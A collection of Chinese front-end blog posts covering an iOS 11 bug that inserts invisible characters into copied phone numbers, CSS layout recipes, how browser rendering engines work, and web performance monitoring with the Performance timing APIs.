9月中旬,很多朋友反映,微信不能通过手机号搜到好友了。。
试了下,好像从通讯录里复制过来的手机号确实存在不匹配的问题。是微信的锅?
问了下度娘。给出「答案」。
看到这个答案,我想说:真扯!
下面咱们来把他「打回原形」。
先把微信放一边,来试试其他 App,结果只要是涉及到输入手机号的基本都沦陷了(使用场景最多的就是手机号绑定、登录、验证等页面),我们拿BATN来做测试
百度,猫厂的支付宝和淘宝,猪厂的考拉和严选(找不到图了),都存在相同的问题(猪厂已修复,猫厂和百度目前还存在问题,或许是寄希望于 IOS 自己修复吧,IOS 11 的小伙伴可以自己实验一把)
BATN 都沦陷了,看来是 IOS 的锅了。
找到问题所在,我们就来一探究竟。我们准备了一个功能单一的页面,打印输出通讯录复制过来的字符串到底是个什么鬼!
由下面两张图,我们可以「看到」一些看不到的字符
我们来看:号码「130 5755 xxxx」长度 15 ?!就算加上空格也才 13,肿么就 15 了?!这不科学啊?!
我们再来看下 URI 编码结果:「%E2%80%AD130%205755%207808%E2%80%AC」,有没有发现问题?
%E2%80%AD
, %E2%80%AC
是什么鬼?
我们知道,通过 encodeURIComponent
可把字符串作为 URI 组件进行编码,但不会对 ASCII 的字母、数字和- _ . ! ~ * ' ( )
这些特殊的字符进行编码,其余的全部使用十六进制编码表示,如空格将被转换为 %20
,但 %E2%80%AD
和 %E2%80%AC
是从什么转换过来的就有意思了,一个「看不见」且「不占空间」的字符!
他不像「空格」和「换行」这类字符,虽然看不到,但是占空间,用户很容易明白,「手机号格式不正确」指的是什么。但是如果看不见了,用户将会一脸懵逼,甩出一句「什么破系统」,然后扬长而去。
这样可不行!
对于我们产品方,修还是不修,就看这个 Bug 的影响程度了,严重影响用户使用那就需要 HotFix,像微信,老早就修复了,因为对于微信来讲,复制通讯录手机号进行查询好友还是很普遍的场景。而对于登录为主的 App 就可以暂时不修,等待 IOS 系统自己修复即可,谁会每次登录去复制自己的手机号呢?对不对?
关于这个问题,估计很多公司都有反馈给 Apple 开发团队,就等他们发包更新了。
然而,漫长的等待换来的确是变本加厉。
11 月 10 日,IOS 11.1.1 版本正式发布。
激动地我赶紧试了一把(虽然老早我就想滚回 10.* 版本了)。
关于通讯录,Apple Team 确实做了优化,复制出来的号码贴心地加了国际区号「+86 130 5755 xxxx」,然而结果却让人失望。成功地由 2 个不可见字符变成了 4 个!
看样子,Apple Team 是不准备修复这个问题了。
好吧,只能我们乖乖的适配吧,谁叫人家是老大呢。
在以前,我们不推荐对手机号输入框等基础组件做过多的设计,以保持基础组件的单一功能。比如,自动去空格、去特殊字符、禁止粘贴、限制输入字符、限制长度等。
然而,针对 IOS 11 的这个 Bug,我们就必须做一件事,就是去除不可见且不占空的字符,但是由于实现起来难免会有遗漏,所以推荐使用数字提取。
可以在 oninput
时对数字字符进行提取,也可以在获取组件触发 get
时进行处理。
<input type="text" oninput="javascript:this.value=this.value.replace(/[^\d]/g,'')" />
也可以是
Vue.component('MobileInput', {
template: '<input ref='ipt' v-model="val" />',
methods: {
getValue: function () {
this.val = this.val.replace(/[^\d]/g,'');
return this.val;
}
}
})
但是,不管怎样,我们的原则是,必须让用户感知处理的结果。避免不必要的解释。
转载请标明出处
作者:木羽 zwwill
首发地址:#12
我们在日常开发中经常遇到布局问题,下面罗列几种常用的css布局方案
话不多说,上代码!
以下所有demo的源码
github:https://github.com/zwwill/css-layout/tree/master/demo-1
链接: http://pan.baidu.com/s/1cHBH3g
密码:obkb
以下居中布局均以不定宽为前提,定宽情况包含其中
.parent{
text-align: center;
}
.child{
display: inline-block;
}
tips:此方案兼容性较好,可兼容至IE8,对于IE567并不支持inline-block,需要使用css hack进行兼容
.child{
display: table;
margin: 0 auto;
}
tips:此方案兼容至IE8,可以使用<table/>
代替css写法,兼容性良好
.parent{
position: relative;
height:1.5em;
}
.child{
position: absolute;
left: 50%;
transform: translateX(-50%);
}
tips:此方案兼容至IE9,因为transform兼容性限制,如果.child
为定宽元素,可以使用以下写法,兼容性极佳
.parent{
position: relative;
height:1.5em;
}
.child{
position: absolute;
width:100px;
left: 50%;
margin-left:-50px;
}
.parent{
display: flex;
justify-content: center;
}
.child{
margin: 0 auto;
}
tips:flex是一个强大的css,生而为布局,它可以轻松的满足各种居中、对其、平分的布局要求,但由于现浏览器兼容性问题,此方案很少被使用,但是值得期待浏览器兼容性良好但那一天!
.parent{
display: table-cell;
vertical-align: middle;
}
tips:可替换成<table />
布局,兼容性良好
.parent{
position: relative;
}
.child{
position: absolute;
top: 50%;
transform: translateY(-50%);
}
tips:存在css3兼容问题,定宽兼容性良好
.parent{
display: flex;
align-items: center;
}
tips:高版本浏览器兼容,低版本不适用
a) inline-block + table-cell + text-align + vertical-align
.parent{
text-align: center;
display: table-cell;
vertical-align: middle;
}
.child{
display: inline-block;
}
tips:兼容至IE8
b) absolute + transform
.parent{
position: relative;
}
.child{
position: absolute;
left: 50%;
top: 50%;
transform: translate(-50%,-50%);
}
tips:兼容性稍差,兼容IE10以上
c) flex
.parent{
display: flex;
justify-content: center;
align-items: center;
}
tips:兼容差
a) float + margin
.left{
float: left;
width: 100px;
}
.right{
margin-left: 120px;
}
tips:此方案对于定宽布局比较好,不定宽布局推荐方法b
b) float + overflow
.left{
float: left;
width: 100px;
margin-right: 20px;
}
.right{
overflow: hidden;
}
tips:个人常用写法,此方案不管是多列定宽或是不定宽,都可以完美实现,同时可以实现登高布局
c) table
.parent{
display: table; width: 100%;
table-layout: fixed;
}
.left,.right{
display: table-cell;
}
.left{
width: 100px;
padding-right: 20px;
}
d) flex
.parent{
display: flex;
}
.left{
width: 100px;
padding-right: 20px;
}
.right{
flex: 1;
}
a) float + overflow
.left,.center{
float: left;
width: 100px;
margin-right: 20px;
}
.right{
overflow: hidden;
}
b) table
.parent{
display: table; width: 100%;
table-layout: fixed;
}
.left,.center,.right{
display: table-cell;
}
.right{
width: 100px;
padding-right: 20px;
}
c) flex
.parent{
display: flex;
}
.left,.center{
width: 100px;
padding-right: 20px;
}
.right{
flex: 1;
}
a) float + overflow
.left{
float: left;
margin-right: 20px;
}
.right{
overflow: hidden;
}
.left p{width: 200px;}
b) table
.parent{
display: table; width: 100%;
}
.left,.right{
display: table-cell;
}
.left{
width: 0.1%;
padding-right: 20px;
}
.left p{width:200px;}
c) flex
.parent{
display: flex;
}
.left{
margin-right: 20px;
}
.right{
flex: 1;
}
.left p{width: 200px;}
a) float + overflow
.left,.center{
float: left;
margin-right: 20px;
}
.right{
overflow: hidden;
}
.left p,.center p{
width: 100px;
}
.parent{
margin-left: -20px;
}
.column{
float: left;
width: 25%;
padding-left: 20px;
box-sizing: border-box;
}
b) table + margin
.parent-fix{
margin-left: -20px;
}
.parent{
display: table;
width:100%;
table-layout: fixed;
}
.column{
display: table-cell;
padding-left: 20px;
}
c) flex
.parent{
display: flex;
}
.column{
flex: 1;
}
.column+.column{
margin-left:20px;
}
.parent{
overflow: hidden;
}
.left,.right{
padding-bottom: 9999px;
margin-bottom: -9999px;
}
.left{
float: left; width: 100px;
}
.right{
overflow: hidden;
}
b) table
.parent{
display: table;
width: 100%;
}
.left{
display:table-cell;
width: 100px;
margin-right: 20px;
}
.right{
display:table-cell;
}
c) flex
.parent{
display:flex;
width: 100%;
}
.left{
width: 100px;
}
.right{
flex:1;
}
效果图
.main {
display: flex;
flex-flow: row wrap;
justify-content: space-between;
}
.item {
display: inline-block;
}
.empty{
height: 0;
visibility: hidden;
}
具体详解请见下文
#28
此处仅为代码展示,差别讲解请移驾下文
【方案】圣杯布局&双飞翼布局
【demo】https://codepen.io/zwwill/pen/OBYXEa
<div class="container">
<div class="header">header</div>
<div class="wrapper clearfix">
<div class="main col">main</div>
<div class="left col">left</div>
<div class="right col">right</div>
</div>
<div class="footer">footer</div>
</div>
.container {width: 500px; margin: 50px auto;}
.wrapper {padding: 0 100px 0 100px;}
.col {position: relative; float: left;}
.header,.footer {height: 50px;}
.main {width: 100%;height: 200px;}
.left {width: 100px; height: 200px; margin-left: -100%;left: -100px;}
.right {width: 100px; height: 200px; margin-left: -100px; right: -100px;}
.clearfix::after {content: ""; display: block; clear: both; visibility: hidden; height: 0; overflow: hidden;}
ps:
“这不是一样的图嘛?”
“对!就是一样的,因为是解决同一种问题的嘛。”
【demo】https://codepen.io/zwwill/pen/oaRLao
<div class="container">
<div class="header">header</div>
<div class="wrapper clearfix">
<div class="main col">
<div class="main-wrap">main</div>
</div>
<div class="left col">left</div>
<div class="right col">right</div>
</div>
<div class="footer">footer</div>
</div>
.col {float: left;}
.header {height: 50px;}
.main {width: 100%;}
.main-wrap {margin: 0 100px 0 100px;height: 200px;}
.left {width: 100px; height: 200px; margin-left: -100%;}
.right {width: 100px; height: 200px; margin-left: -100px;}
.footer {height: 50px;}
.clearfix::after {content: ""; display: block; clear: both; visibility: hidden; height: 0; overflow: hidden;}
简单的绝对定位即可解决问题,为啥还要搞什么圣杯和双飞翼?原因
<div class="header">header</div>
<div class="wrapper">
<div class="main col">
main
</div>
<div class="left col">
left
</div>
<div class="right col">
right
</div>
</div>
<div class="footer">footer</div>
.wrapper { position: relative; }
.main { margin:0 100px;}
.left { position: absolute; left: 0; top: 0;}
.right { position: absolute; right: 0; top: 0;}
如果你觉得此文对你有一定的帮助,可以点击下方的【喜欢】收藏备用
四不四经常有人在你面前念(zhūang)叨(bī),「这是浏览器内核的问题!Safari[səˈfɑri]的内核不支持!」?
今天咱们就来聊聊所谓的「内核」!
要讲内核首先要讲浏览器基础,浏览器基础是前端知识网中的一个小分支,也是前端开发人员必须掌握的基础知识点。他贯穿着前端的整个网络体系,项目优化也是围绕着浏览器进行的。
开发人员在面试的时候或许会被问到:
从你在浏览器输入一个网址到网页内容完全被展示的这段时间内,都发生了什么事情?
确实是个老生常谈的问题,但问题的答案并不是唯一的,或许在三五年前,这个问题还会有一个「相对」标准的答案。
- 浏览器在接收到这个指令时,会开启一个单独的线程来处理这个指令,首先要判断用户输入的是否为合法或合理的 URL 地址,是否为 HTTP 协议请求,如果是那就进入下一步
- 浏览器的浏览器引擎将对此 URL 进行分析,如果存在缓存「cache-control」且未过期,则会从本地缓存提取文件(From Memory Cache,200返回码),如果缓存「cache-control」不存在或过期,浏览器将发起远程请求
- 通过 DNS 解析域名获取该网站地址对应的 IP 地址,连同浏览器的 Cookie、 userAgent 等信息向此 IP 发出 GET 请求。
- 接下来就是经典的「三次握手」,HTTP 协议会话,浏览器客户端向 Web 服务器发送报文,进行通讯和数据传输。
- 进入网站的后端服务,如 Tomcat、Apache 等,还有近几年流行的 Node.js 服务器,这些服务器上部署着应用代码,语言有很多,如 Java、 PHP、 C++、 C# 和 Javascript 等。
- 服务器根据 URL 执行相应的后端应用逻辑,期间会使用到「服务器缓存」或「数据库」。
- 服务器处理请求并返回响应报文,如果浏览器访问过该页面,缓存上有对应资源,与服务器最后修改记录对比,一致则返回 304,否则返回 200 和对应的内容。
- 浏览器接收到返回信息并开始下载该 HTML文件(无缓存、200返回码)或从本地缓存提取文件(有缓存、304返回码)
- 浏览器的渲染引擎在拿到 HTML 文件后,便开始解析构建 DOM 树,并根据 HTML 中的标记请求下载指定的 MIME 类型文件(如 CSS、 JavaScript 脚本等),同时使用&设置缓存等内容。
- 渲染引擎根据 CSS 样式规则将 DOM 树扩充为渲染树,然后进行重排、重绘。
- 如果含有 JS 文件将会执行,进行 Dom 操作、缓存读存、事件绑定等操作。最终页面将被展示在浏览器上。
此答案精简的概括了「后端为主的 MVC 模式」及早期 Web 应用的浏览器响应的全过程。前端技术发展到现在,「前后端分离」「中间件直出」和「MNV*模式」也已问世,再谈及此问题,答案会有所不同。
就以「前后端分离」为例,在上方答案的第4步后,紧接着就不会直接进入后端服务器了。而会被 HTTP 和反向代理服务器,如 Ngnix,拦截。
- 前置步骤1、2、3、4
- Ngnix 在监听到 HTTP(80端口)或 HTTPS(443端口)请求,根据 URL 做服务分发,分发(rewrite)到后端服务器或静态资源服务器,首页请求基本是分发到静态服务器,返回一个 HTML 文件
- 步骤7、8、9、10
- 执行 JS 脚本,异步 ajax、 fetch 发起 POST、 GET 请求,重新进入 Ngnix 分发,此次分发到后端服务器,步骤5、6、7,然后返回一个 xml 或 json 格式的信息,一般含有 code(返回码)和 result(依赖信息)
- js 回调根据返回码执行不同的逻辑,增删改页面元素,此时可能会发生重排或重绘。首页加载结束。
从以上步骤可以发现,浏览器可能会触发两次重绘,极易产生「白屏」或「页面抖动」现象,为了解决这个问题「中间件直出」的模式应运而生。另外为了扩充大前端的阵营,吸纳 IOS 和 Android,Google 设计了「MNV*模式」,典型代表就是 ReactNative,但此模式已经脱离了浏览器的范畴,此处就不再做扩展。
以上讨论的渲染过程中使用到了较多的浏览器功能,如用户地址栏输入框、网络请求、浏览器文档解析、渲染引擎渲染网页、 JavaScript 引擎执行 js 脚本、客户端存储等。 接下来我们介绍下浏览器的基本结构组成。
浏览器一般由七个模块组成,User Interface(用户界面)、Browser engine(浏览器引擎)、Rendering engine(渲染引擎)、Networking(网络)、JavaScript Interpreter(js解释器)、UI Backend(UI 后端)、Date Persistence(数据持久化存储) 如下图:
作为前端开发人员,我们需要重点理解渲染引擎的工作原理,灵活应用数据存储技术,在实际项目开发中会经常涉及到这两个部分,尤其是在做项目性能优化时,理解浏览器渲染引擎的工作原理尤为重要。而其他部分则是由浏览器自行管理的,开发者能控制的地方较少。今天我们就围绕这两个重点其中的一个部分「浏览器渲染引擎」也就是进行展开,「浏览器内核」。
浏览器渲染引擎是由各大浏览器厂商依照 W3C 标准自行研发的,也被称之为「浏览器内核」。
目前,市面上使用的主流浏览器内核有5类:Trident、Gecko、Presto、Webkit、Blink。
Trident:俗称 IE 内核,也被叫做 MSHTML 引擎,目前在使用的浏览器有 IE11 -,以及各种国产多核浏览器中的IE兼容模块。另外微软的 Edge 浏览器不再使用 MSHTML 引擎,而是使用类全新的引擎 EdgeHTML。
Gecko:俗称 Firefox 内核,Netscape6 开始采用的内核,后来的 Mozilla FireFox(火狐浏览器)也采用了该内核,Gecko 的特点是代码完全公开,因此,其可开发程度很高,全世界的程序员都可以为其编写代码,增加功能。因为这是个开源内核,因此受到许多人的青睐,Gecko 内核的浏览器也很多,这也是 Gecko 内核虽然年轻但市场占有率能够迅速提高的重要原因。
Presto:Opera 前内核,为啥说是前内核呢?因为 Opera12.17 以后便拥抱了 Google Chrome 的 Blink 内核,此内核就没了寄托
Webkit:Safari 内核,也是 Chrome 内核原型,主要是 Safari 浏览器在使用的内核,也是特性上表现较好的浏览器内核。也被大量使用在移动端浏览器上。
Blink: 由 Google 和 Opera Software 开发,在Chrome(28及往后版本)、Opera(15及往后版本)和Yandex浏览器中使用。Blink 其实是 Webkit 的一个分支,添加了一些优化的新特性,例如跨进程的 iframe,将 DOM 移入 JavaScript 中来提高 JavaScript 对 DOM 的访问速度等,目前较多的移动端应用内嵌的浏览器内核也渐渐开始采用 Blink。
浏览器渲染引擎最重要的工作就是将 HTML 和 CSS 文档解析组合最终渲染到浏览器窗口上。如下图所示,渲染引擎在接受到 HTML 文件后主要进行了以下操作:解析 HTML 构建 DOM 树 -> 构建渲染树 -> 渲染树布局 -> 渲染树绘制。
解析 HTML 构建 DOM 树时渲染引擎会将 HTML 文件的便签元素解析成多个 DOM 元素对象节点,并且将这些节点根据父子关系组成一个树结构。同时 CSS 文件被解析成 CSS 规则表,然后将每条 CSS 规则按照「从右向左」的方式在 DOM 树上进行逆向匹配,生成一个具有样式规则描述的 DOM 渲染树。接下来就是将渲染树进行布局、绘制的过程。首先根据 DOM 渲染树上的样式规则,对 DOM 元素进行大小和位置的定位,关键属性如position;width;margin;padding;top;border;...
,接下来再根据元素样式规则中的color;background;shadow;...
规则进行绘制。
另外,这个过程是逐步完成的,为了更好的用户体验,渲染引擎将会尽可能早的将内容呈现到屏幕上,并不会等到所有的 html 都解析完成之后再去构建和布局 render 树。它是解析完一部分内容就显示一部分内容,同时,可能还在通过网络下载其余内容。
再者,需要注意的是,在浏览器渲染完首屏页面后,如果对 DOM 进行操作会引起浏览器引擎对 DOM 渲染树的重新布局和重新绘制,我们叫做「重排」和「重绘」,由于重排和重绘是前后依赖的关系,重绘发生时未必会触发渲染引擎的重排,但是如果发生了重排就必然会触发重绘操作,这样带来的性能损害就是巨大的。因此我们在做性能优化的时候应该遵循「避免重排;减少重绘」的原则。
在不同的浏览器内核下, 浏览器页面渲染的流程略有不同
上面两幅图分别是 Webkit 和 Geoko 内核渲染 DOM 的工作流程,对比可以看出,两者的区别主要在于 CSS 样式表的解析时机,Webkit 内核下,HTML 和 CSS 文件的解析是同步的,而 Geoko 内核下,CSS 文件需要等到 HTML 文件解析成内容 Sink 后才进行解析。
另外描述术语也有不同,除此之外两者的流程就基本相同了,其中最重要的三个部分就是 「HTML 的解析」「CSS 的解析」「渲染树的生成」。这三个部分的原理比较深,会涉及到「词法分析」「语法分析」「转换」「解释」等数据结构的知识,比较枯燥,一般我们了解到这里就够了,想深入了解的同学可以阅读此篇译文,浏览器的工作原理,里面详细的解释了以上三个部分的流程和原理。此处就不再多做赘述了。
上面我们提到过, CSS 规则是按照「从右向左」的方式在 DOM 树上进行逆向匹配的,最终生成一个具有样式规则描述的 DOM 渲染树。
但是你知道为什么要「从右向左」做逆向匹配吗?
我们重新回看【webkit 内核工作流程图】
CSS 规则匹配是发生在webkit引擎的「Attachment」过程中,浏览器要为每个 DOM Tree 中的元素扩充 CSS 样式规则(匹配 Style Rules)。对于每个 DOM 元素,必须在所有 Style Rules 中找到符合的 selector 并将对应的规则进行合并。选择器的「解析」实际是在这里执行的,在遍历 DOM Tree 时,从 Style Rules 中去寻找对应的 selector。
我们来举一个最简单的栗子:
<template>
<div>
<div class="t">
<span>test</span>
<p>test</p>
<div>
</div>
</template>
<style>
div{ color: #000; }
div .t span{ color: red; }
div .t p{color: blue; }
</style>
此处我们有一个 html 元素 和一个 style 元素,两者需要做遍历匹配
此处会有 4*3 个匹配项,如果做正向匹配,在遇到 <span>
标签匹配 div .t p{ color: red; }
到匹配项时,计算机首先要找到<span>
标签的父标签和祖父标签,判断他们是否满足div .t
的规则,然后再匹配<span>
是否为p
标签,此处匹配不成功,产生了三次浪费。
如果时逆向匹配,那么第一次对比<span>
是否为p
标签便可排除此规则,效率更高。
如果将 HTML 结构变复杂,CSS 规则表变庞大,那么,「逆向匹配」的优势就远大于「正向匹配」了,因为匹配的情况远远低于不匹配的情况。另外,如果在选择器结尾加上通配符「*」,那么「逆向匹配」的优势就大打折扣了,这也就是很多优化原则提到的「尽量避免在选择器末尾添加通配符」的原因。
极限了想,如果我们的样式表不存在嵌套关系,如下:
<template>
<div class="t">
<span class="div_t_span">test</span>
<p class="div_t_p">test</p>
<div>
</template>
<style>
div{ color: #000; }
.div_t_span{ color: red; }
.div_t_p{color: blue; }
</style
那么引擎的「Attachment」过程将得到极大的精简,效率也是可想而知的,这就是为什么「微信小程序」样式表不建议使用关系行写法的原因。
我们大致可以在以上案例中看到同浏览器渲染引擎相关的可行优化点。
大致为以下几种
将 JS 文件放在 HTML 文档后加载,或者使用异步的方式加载 JS 代码
在做 css 动画的时候减少使用 width、 margin、 padding 等影响 CSS 布局对规则,可以使用 CSS3 的 transform 代替。另外值得注意的是,在加载大量的图片元素时,尽量预先限定图片的尺寸大小,否则在图片加载过程中会更新图片的排版信息,产生大量的重排。
直接使用唯一的类名即可最大限度的提升渲染效率,另外尽量避免在选择器末尾添加通配符
减少无意义的 dom 层级可以减少 渲染引擎 Attachment 过程中的匹配计算量
链接:http://pan.baidu.com/s/1cB4gt4
密码:vj6u
MD5码:65dbb6c7e514faa57970de225f463355
免责声明:
出于知识共享精神分享,如有侵权请留言,我将及时下架比链接
近年移动业务喷井式爆发,伴随着互联网人口红利的萎缩,用户更加青睐效率高体验优的站点,页面「到达」快慢直接影响了用户的体验,「性能」变得越来越重要。google 大数据统计观察发现,移动端用户对页面加载慢的容忍度远低于 PC 端,投放页面首屏加载时间从 2s 钟延迟到 3s 会造成 9.4% 的 PV 下降,8.3% 的跳出率增加以及 3.5% 的转化率下降。性能优化具有的商业价值不言而喻,总不能眼看着市场同事辛苦「求」来的用户在我们手中流失吧?这是身为一个合格前 yíng 台 bīn 不能允许的!盘他!
有些公司同时想到的第一件事就是「优化」,网上搜一波性能优化的列表,把别人的「最佳实践」照搞一番,性能确实会有提升,但效率未必是最高的,反倒有些本末倒置,别人的问题未必就是自己的问题,「并行不代表因果」,要做性能优化,首先要做的是掌握详尽的性能指标信息,根据木桶原理,找到最拖后腿的指标「短板」,重点优化,将边际成本最小化。所以,首先我们要做的应该是性能指标的收集分析。
指标收集主要分有三种方式:
以 Google 的 Lighthouse 最为著名,它是一个开源的自动化工具,可以安装为 Chrome 的扩展插件,也可以命令行直接运行,它将针对目标页面运行一连串的测试,然后输出一个有关页面性能的评分报告。
根据此报告,可以有的放矢,逐一优化。
优点:
1. 评分报告全面且具有一定的权威性
2. 提供解决方案
3. 发现大的性能问题
缺点:
测试环境较单一,用户群体的环境各有不同,不可以一概之
将目标页面链接「委托」给第三方的服务,执行真实的访问指令,同时收集性能指标生成报表输出。
这种模式是在技术变现的背景下产生的,优秀的工具都是要付费的,当然开源和免费的优秀工具也很多,此前的阿里测就是其中一种,现已下线。停运的缘由我们不好揣测,此处谨向那些开源和提供免费服务的项目致敬!此处就不再多推荐了,以免有软文的嫌疑。
在目标页面注入脚本,在约定的时机收集性能指标数据,统一上报数据中心,数据中心集中整合生成报表,再根据报表分析性能。
优点:
1. 数据全面,可采集到所有用户各个环境下的性能,生成直观的分布图
2. 数据真实,来源于真实用户
3. 反馈及时,优化后效果可及时地在报表上反馈出来
缺点:
1.存在「波动」,不同时刻的访客群体存在差异,数据只能反应当前时刻的「效果」
2.测试环境较单一,用户群体的环境各有不同,不可以一概之
所谓监控,实际上就是性能「真实跟踪」,虽然依赖较多,但对性能指标的反馈最为真实有效。以下我们将围绕性能监控进行展开。
页面的加载有多快?加载时间为 X.XX 秒?
其实,好与坏,快与慢,都是很模糊的概念。我们常常听到别人介绍,「我们的页面白屏已经从 3s 优化到了 2s」,这种陈述的问题并不是不真实,而是在于扭曲了事实。 加载白屏时间会因用户不同而有很大的差异,具体取决于用户的设备性能以及网络状况。 我们不能单纯地以单个数字的形式呈现白屏时间而忽略加载时间过长的用户。更何况,收集来的数据具有幸存者偏差性。
下图是某页面统计来的在一定时间段内用户白屏时间分布直方图。可以直观反应出此页面的「性能」情况。
我们可以说,「90% 的用户可以在 3s 内完成页面加载」,但「均值」或「中位数」仅能反应此页面的某一点的表现,因为任何一个时间段都不能代表全部。
而性能优化的目标可以是增加 1s 内的用户比重,也可以是将后面的用户尽可能的集中在 1s-2s 之间。这些都是需要根据产品特点和目标灵活调整的。
我们所需要收集且重点关注的指标,应该是能准确反应用户体验的指标。
体验 | 表现 | 指标 |
---|---|---|
是否发生? | 导航是否成功启动?服务器是否有响应? | 首次绘制(FP)/首次内容绘制(FCP) |
是否有用? | 是否已渲染可以与用户互动的足够内容? | 首次有效绘制(FMP)/主角元素计时 |
是否可用? | 用户可以与页面交互,还是页面仍在忙于加载? | 可交互时间(TTI) |
是否令人愉快? | 交互是否顺畅而自然,没有滞后或卡顿? | 耗时较长的任务(在技术上不存在耗时较长的任务) |
以下时序屏幕截图直观地展示了用户体验点对应的指标,有助大家理解。
其中指标 FP 和 FCP 可以通过浏览器点 API 计算获取,而指标 FMP 和 TTI 由于并没有标准化的定义,因此也很难有标准化点 API 输出, 部分原因在于很难以通用的方式界定「有效」点。
除此关键指标之外,我们同时也需要关注基础指标,以便分析出造成关键指标「数据难看」的影响点。如 DNS 解析耗时、TCP 连接耗时、网络请求耗时以及资源加载耗时等。
标准化定义的指标有以下几种
Performance.timing 是一个只读属性,返回 PerformanceTiming 对象,该对象包括了页面相关的性能信息。
startTime(navigationStart):在同一个浏览器上下文中,前一个网页(与当前页面不一定同域)unload 的时间戳,如果无前一个网页 unload ,则与 fetchStart 值相等
unloadEventStart:前一个网页(与当前页面同域)unload 的时间戳,如果无前一个网页 unload 或者前一个网页与当前页面不同域,则值为 0
unloadEventEnd:和 unloadEventStart 相对应,返回前一个网页 unload 事件绑定的回调函数执行完毕的时间戳
redirectStart:第一个 HTTP 重定向发生时的时间。有跳转且是同域名内的重定向才算,否则值为 0
redirectEnd:最后一个 HTTP 重定向完成时的时间。有跳转且是同域名内的重定向才算,否则值为 0
fetchStart:浏览器准备好使用 HTTP 请求抓取文档的时间,这发生在检查本地缓存之前
domainLookupStart:DNS 域名查询开始的时间,如果使用了本地缓存(即无 DNS 查询)或持久连接,则与 fetchStart 值相等
domainLookupEnd:DNS 域名查询完成的时间,如果使用了本地缓存(即无 DNS 查询)或持久连接,则与 fetchStart 值相等
connectStart:HTTP(TCP) 开始建立连接的时间,如果是持久连接,则与 fetchStart 值相等,如果在传输层发生了错误且重新建立连接,则这里显示的是新建立的连接开始的时间
connectEnd:HTTP(TCP) 完成建立连接的时间(完成握手),如果是持久连接,则与 fetchStart 值相等,如果在传输层发生了错误且重新建立连接,则这里显示的是新建立的连接完成的时间
注意:这里握手结束,包括安全连接建立完成、SOCKS 授权通过
secureConnectionStart:HTTPS 连接开始的时间,如果不是安全连接,则值为 0
requestStart:HTTP 请求读取真实文档开始的时间(完成建立连接),包括从本地读取缓存,连接错误重连时,这里显示的也是新建立连接的时间
responseStart:HTTP 开始接收响应的时间(获取到第一个字节),包括从本地读取缓存
responseEnd:HTTP 响应全部接收完成的时间(获取到最后一个字节),包括从本地读取缓存
domLoading:开始解析渲染 DOM 树的时间,此时 Document.readyState 变为 loading,并将抛出 readystatechange 相关事件
domInteractive:完成解析 DOM 树的时间,Document.readyState 变为 interactive,并将抛出 readystatechange 相关事件
注意:只是 DOM 树解析完成,这时候并没有开始加载网页内的资源
domContentLoadedEventStart:DOM 解析完成后,网页内资源加载开始的时间,文档发生 DOMContentLoaded事件的时间
domContentLoadedEventEnd:DOM 解析完成后,网页内资源加载完成的时间(如 JS 脚本加载执行完毕),文档的DOMContentLoaded 事件的结束时间
domComplete:DOM 树解析完成,且资源也准备就绪的时间,Document.readyState 变为 complete,并将抛出 readystatechange 相关事件
loadEventStart:load 事件发送给文档,也即 load 回调函数开始执行的时间,如果没有绑定 load 事件,值为 0
loadEventEnd:load 事件的回调函数执行完毕的时间,如果没有绑定 load 事件,值为 0
更多解释参见 W3C Recommendation - NavigationTiming 或 W3C Editor's Draft。
利用以上 API,我们可以计算出细颗粒度的性能基础指标
基础指标 | 描述 | 计算方式 | 备注 |
---|---|---|---|
rs | 准备新页面耗时 | fetchStart - navigationStart | |
rdc | 重定向时间 | redirectEnd - redirectStart | |
dns | DNS 解析耗时 | domainLookupEnd - domainLookupStart | |
tcp | TCP 连接耗时 | connectEnd - connectStart | |
ssl | SSL 安全连接耗时 | connectEnd - secureConnectionStart | 只在 HTTPS 下有效 |
ttfb | Time to First Byte(TTFB),网络请求耗时 | responseStart - requestStart | TTFB 有多种计算方式,ARMS 以 Google Development 定义为准 |
trans | 数据传输耗时 | responseEnd - responseStart | |
dom | DOM 解析耗时 | domInteractive - responseEnd | |
res | 资源加载耗时 | loadEventStart - domContentLoadedEventEnd | 表示页面中的同步加载资源 |
fbt | 首包时间 | responseStart - domainLookupStart | |
fpt | First Paint Time, 首次渲染时间 / 白屏时间 | responseEnd - fetchStart | 从请求开始到浏览器开始解析第一批 HTML 文档字节的时间差 |
tti | Time to Interact,首次可交互时间(非准确,仅做参考) | domInteractive - fetchStart | 浏览器完成所有 HTML 解析并且完成 DOM 构建,此时浏览器开始加载资源 |
load | 页面完全加载时间 | loadEventStart - fetchStart | load = 首次渲染时间 + DOM 解析耗时 + 同步 JS 执行 + 资源加载耗时 |
关于兼容性,可参考下图,绝大多数的浏览器已支持此 API,基本可以放心地使用在移动端
相对于以上基础指标,跟用户感受关联最密切的可能就是各个「绘制(Paint)」时刻了,FP(First Paint),FCP(First Contentful Paint)以及 FMP(First Meaningful Paint)。
随着 SPA(单页面系统)的普及,单纯靠 PerformanceTiming 要准确地计算出各 Paint 的时间是很难的。庆幸是的,Chrome 60+ 带给我们一个全新的 API,Paint Timing,它提供了抓取「页面」和「资源」耗时的能力。此 API 尚处在实验阶段,并没有纳入 W3C 的标准,所以,也仅仅是 webkit 内核的高版本浏览器才支持。聊胜于无。
Performance.getEntries() 方法以数组形式对网页中每一个对象(脚本文件、样式表、图片文件等等)发出的请求进行统计记录,Paint 的就是其中的一种。我们可以使用方法 performance.getEntriesByType('paint')
轻松获得两个 PerformancePaintTiming 对象,对应的分别就是 FP 和 FCP。
更多关于 FP 和 FCP,可以参考此文 https://www.w3cplus.com/performance/paint-timing-api.html
但关于 FMP,虽然 Chrome 的 Performance 工具已指示性地标出 FMP 的时间点,但依然未提供 API,部分缘由可能就是「无法标准化」吧。
关于 FMP 会有很多内容,将会在下一篇博文中详细介绍我们常用的 FMP 算法。感兴趣的朋友可以关注本人博客 github.com/zwwill/blog。
由于 Performance 的赋能,我们没有必要在页面「最开始」就加载执行我们的监控脚本,再小的文件也会阻塞首屏的绘制,但是,如果有依赖关系,如一些算法依赖于监控 DOM 的变化,还是需要尽早进行初始化,所以时机应在 load 的前后,根据算法的需要进行调整,并没有一个准确的方案。
数据收集到之后便是数据上报、处理
关于数据上报的成熟方案已有很多,「主动提交」,「反向代理」都可以,只要数据在不影响业务功能和性能的前提下完整地将上报到数据中心即可。
有了数据,我们就可以有目的性的将数据处理成我们需要的形式。
可以分析用户分布
横向比较,细查差异因果,总结经验。
也可以按时间纬度展开,嗅探时间或流量对性能的影响,也可以找到异常点,筛选出异常日志重点关注。
总之,可以将有限的数据玩出无限的可能!
以上,便是对性能监控的一些基础介绍,希望对你有所帮助。
[1] 以用户为中心的性能指标
